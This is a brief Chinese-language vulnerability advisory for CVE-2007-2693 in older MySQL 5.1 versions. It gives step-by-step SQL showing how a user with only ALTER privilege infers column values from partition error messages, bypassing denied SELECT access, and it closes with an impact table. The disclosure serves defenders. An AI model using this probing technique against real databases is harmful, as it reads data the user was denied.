CVE-2007-2693 / BUGTRAQ ID: 24008:MySQL 5.1.x < 5.1.18 版本中,擁有 ALTER 權限但無 SELECT 權限的使用者,可透過 ALTER TABLE ... PARTITION 錯誤訊息推測資料表內容。
ALTER TABLE ... PARTITION BY LIST 若分區定義未涵蓋現有資料值,MySQL 回傳錯誤:
ERROR 1513 (HY000): Table has no partition for value 18
攻擊者可藉由調整分區範圍,透過「有無報錯」二分法推測欄位具體值,繞過 SELECT 權限管控。
-- root 執行
CREATE TABLE tu (s1 INT);
INSERT INTO tu VALUES (1);
GRANT ALTER ON tu TO 'molly'@'localhost';
-- molly 登入
SELECT * FROM tu;
-- ERROR 1142 (42000): SELECT command denied
-- 嘗試分區包含值 1
ALTER TABLE tu PARTITION BY LIST (s1) (PARTITION p1 VALUES IN (1));
-- Query OK
-- 嘗試分區包含值 2(實際資料為 1)
ALTER TABLE tu PARTITION BY LIST (s1) (PARTITION p1 VALUES IN (2));
-- ERROR 1513 (HY000): Table has no partition for value 1
-- → 推測存在 s1 = 1 的列
| 維度 | 等級 | 說明 |
|---|---|---|
| 機密性影響 | 部分 | 可推測特定欄位數值,非全表導出 |
| 完整性影響 | 無 | 無法修改資料 |
| 可用性影響 | 無 | 不導致服務中斷 |
| 攻擊複雜度 | 低 | 僅需 ALTER 權限,無需複雜載荷 |
| 權限前提 | ALTER 權限 | 通常授予開發/運維角色 |